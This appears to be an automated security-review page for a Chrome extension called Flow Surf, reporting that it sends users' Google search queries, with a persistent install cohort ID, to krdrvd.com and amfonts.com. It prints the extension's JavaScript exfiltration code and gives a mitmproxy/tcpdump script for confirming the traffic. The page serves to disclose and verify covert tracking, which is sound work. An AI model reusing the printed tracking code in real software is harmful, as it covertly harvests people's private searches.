Is Flow Surf safe?
Flow Surf is high risk. Every Google search over two characters is read from the URL by Flow Surf and sent as a plaintext GET to krdrvd.com/evt.php. Captured 3 times with a planted marker in 'value='. Requests carry a persistent cohort ID and install timestamp.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Every Google Search Sent to krdrvd.com in Plaintext
Every Google search over two characters is read from the URL by Flow Surf and sent as a plaintext GET to krdrvd.com/evt.php.
Captured 3 times with a planted marker in 'value='.
Requests carry a persistent cohort ID and install timestamp.
You type a search query into Google.
The extension sends your search term to krdrvd.com in plaintext.
Triggered on every search query longer than 2 characters, regardless of what you searched for or which Google domain you used.
| Field | Value | Why it matters | |
|---|---|---|---|
Your search query | symptoms of anxiety disorder | The exact text you typed into Google's search box. | |
Cohort ID | jgdk-20260415-org | A persistent identifier assigned on first install. The same value appears on every search request across sessions. | |
Install timestamp | 1744665600 | When you first installed the extension, in Unix epoch seconds. | |
Extension ID | gjejinkfglmnfncbfkdccnjipjngeibh | The unique identifier for your copy of Flow Surf, used to link requests back to your browser. | |
Feature label | search | Always set to 'search', categorises the event type server-side. |
The code that sends your searches to krdrvd.com
// features.js — runs on every Google search page
// this.keyword is read from window.location.search ?q= parameter
if (this.keyword.length > 2) {
// Send query to the background service worker for exfiltration
chrome.runtime.sendMessage({ feature: 'search', value: this.keyword });
}// background.js — listens for any message with a 'feature' field
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
if (request.feature) {
const params = {
extid: chrome.runtime.id, // your extension/browser identifier
feature: request.feature, // 'search'
value: request.value, // your search query verbatim
};
// addCohort() appends cohort ID + install_time from chrome.storage.local
addCohort(params, function(params) {
fetch('https://krdrvd.com/evt.php?' + new URLSearchParams(params).toString());
});
}
});- krdrvd.com
Receives every search query via GET. Also handles install events (/install.php) and cohort assignment (/cohort.php). Domain ownership isn't publicly disclosed in the listing.
A shell script that monitors your network traffic for outbound requests to krdrvd.com/evt.php. Run it while performing a Google search with Flow Surf installed to verify that your search queries are being transmitted.
#!/usr/bin/env bash
# flowsurf-search-canary.sh
# Watches for outbound GET requests to krdrvd.com/evt.php while you search.
# Requires: mitmproxy or tcpdump. Adjust INTERFACE as needed.
CANARY="FLOWSURF_CANARY_$(date +%s)"
echo "[*] Canary term: $CANARY"
echo "[*] Search for this exact term on Google with Flow Surf installed."
echo "[*] Watching for krdrvd.com requests (Ctrl-C to stop)..."
echo ""
# Option A: using tcpdump (requires sudo)
# sudo tcpdump -A -i any 'host krdrvd.com' 2>/dev/null | grep -o 'value=[^& ]*'
# Option B: using mitmproxy in dump mode
mitmproxy --mode transparent \
--modify-headers '/~q/~h Host/krdrvd.com/MATCH/' \
--script <(cat <<'PYEOF'
import mitmproxy.http
def request(flow: mitmproxy.http.HTTPFlow):
if 'krdrvd.com' in flow.request.host:
print(f"[CAPTURE] {flow.request.method} {flow.request.url}")
PYEOF
) 2>/dev/null
- 1Install Flow Surf in Chrome.
- 2Run this script (requires mitmproxy or tcpdump).
- 3Search Google for the marker value the script prints.
- 4The script prints GET requests to krdrvd.com/evt.php, confirming 'value=' contains your canary.
Persistent Tracking ID Ties All Your Searches to a Single Profile
On install, Flow Surf contacts krdrvd.com for a persistent cohort ID, stored and attached to every search sent to amfonts.com.
The same ID appeared on all 3 planted-marker requests, linking your searches to each other and install date.
You install Flow Surf, then perform any Google search.
The extension sends your search query and a persistent per-install identifier to amfonts.com.
The identifier is assigned once at install time and reused on every subsequent search, enabling your queries to be associated with each other across sessions.
Written once at install, never rotated. Sent in every amfonts.com search as 'crt=', linking your searches to your install event.
chrome.storage.local, keys 'cohort' and 'install_time'{
"cohort": "jgdk-20260415-org",
"install_time": 1744665600
}| Field | Value | Why it matters | |
|---|---|---|---|
Your search query | best divorce lawyers near me | The exact text you typed into Google, transmitted in plaintext as the 'keyword=' parameter. | |
Cohort ID (crt=) | jgdk-20260415-org | A persistent ID from krdrvd.com set on first install. Sent with every search request, linking all your searches into one profile. | |
Install timestamp | 1744665600 | When you first installed the extension. Combined with the cohort ID, this anchors your search history to a specific install event. | |
Session token (tr=) | d4f3c2b1a9 | A per-page-load identifier derived from the current timestamp. Changes each time the page is loaded. | |
Extension ID (u=) | gjejinkfglmnfncbfkdccnjipjngeibh | The unique ID of your Flow Surf installation. | |
Hardcoded constant (a=) | 3100 | Always the value '3100', likely a client or product identifier on the amfonts.com side. |
How the cohort is assigned and then attached to every search request
// background.js — runs once when the extension is first installed
chrome.runtime.onInstalled.addListener(function(details) {
if (details.reason === 'install') {
const params = { extid: chrome.runtime.id };
chrome.storage.local.get(['cohort'], function(stored) {
// Only assign a cohort if one doesn't already exist
if (typeof stored['cohort'] === 'undefined') {
// First: fire an install ping
fetch('https://krdrvd.com/install.php?' + new URLSearchParams(params), { credentials: 'include' })
.then(() => {
// Then: request a cohort identifier
fetch('https://krdrvd.com/cohort.php?' + new URLSearchParams(params), { credentials: 'include' })
.then(response => response.text())
.then(cohortValue => {
if (cohortValue.length > 0) {
// Persist both values indefinitely in local storage
chrome.storage.local.set({
cohort: cohortValue, // e.g. "jgdk-20260415-org"
install_time: Date.now() / 1000 // epoch seconds
});
}
});
});
}
});
}
});// features.js — runs on every Google search page where keyword.length > 2
const staticParams = {
format: 'json',
tr: this.tr, // per-session ID from timestamp
a: '3100', // hardcoded constant
u: chrome.runtime.id, // extension ID
keyword: this.keyword, // your search query
by: extensionName // 'Flow Surf'
};
// Load the persistent cohort and install timestamp from storage
chrome.storage.local.get(['cohort', 'install_time'], function(stored) {
let url = 'https://amfonts.com/script/t.php?' + new URLSearchParams(staticParams).toString();
if (stored.install_time) url += '&install_time=' + encodeURIComponent(stored.install_time);
if (stored.cohort) url += '&crt=' + encodeURIComponent(stored.cohort);
// Send as XMLHttpRequest with withCredentials=true
sendRequest(url);
});- amfonts.com
Receives every search query along with the persistent cohort ID via GET request to /script/t.php. Also returns HTML/JS ad content rendered on the Google results page.
- krdrvd.com
Issues the cohort identifier on first install (/cohort.php) and receives all search events (/evt.php). Acts as the primary tracking backend.
What it can do
Permissions this extension asks for, as declared in version 4.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage